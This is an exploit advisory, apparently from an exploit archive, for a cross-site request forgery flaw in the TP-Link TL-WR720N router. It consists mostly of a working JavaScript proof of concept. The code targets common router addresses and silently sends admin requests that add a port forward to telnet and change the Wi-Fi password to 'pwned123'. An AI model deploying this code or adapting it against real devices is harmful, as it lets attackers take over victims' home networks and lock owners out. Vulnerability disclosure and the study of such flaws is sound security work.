TL-WR720N 150Mbps Wireless N Router Cross Site Request Forgery

TL-WR720N 150Mbps Wireless N Router suffers from a cross site request forgery vulnerability.


MD5 | 813d6ce1770446ad55570855d5d97540

/*
Exploit Title: TL-WR720N 150Mbps Wireless N Router - CSRF
Date: 21-3-2018
Exploit Author: Mans van Someren
Vendor Homepage: https://www.tp-link.com/
Software Link: https://static.tp-link.com/resources/software/TL-WR720N_V1_130719.zip
Version: All versions because its a 0day
Testen on: Google Chrome - Windows 10

this is only a portforwarding & change wifi password PoC but every action I found on the router is vulnerable to CSRF
*/

var ROUTER_HOSTS = ['192.168.0.1', '192.168.1.1'];
var ROUTER_PORTS = ['80', '8080'];

function portforward(router_host, router_port, host, port) {
var img = new Image();
img.src = 'http://' + router_host + ':' + router_port + '/userRpm/VirtualServerRpm.htm?Port=' + port + '&Ip=' + host + '&Protocol=1&State=1&Commonport=0&Changed=0&SelIndex=0&Page=1&Save=Save';
}

function change_wifi_pass(router_host, router_port, newpass) {
var img = new Image();
img.src = 'http://' + router_host + ':' + router_port + '/userRpm/WlanSecurityRpm.htm?vapIdx=1&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=86400&secType=3&pskSecOpt=2&pskCipher=3&pskSecret=' + newpass + '&interval=86400&Save=Save';
}

for (var i = 0; i < ROUTER_HOSTS.length; i++) {
for (var j = 0; j < ROUTER_PORTS.length; j++) {
portforward(ROUTER_HOSTS[i], ROUTER_PORTS[j], '192.168.0.1', '23');
change_wifi_pass(ROUTER_HOSTS[i], ROUTER_PORTS[j], 'pwned123');
}
}


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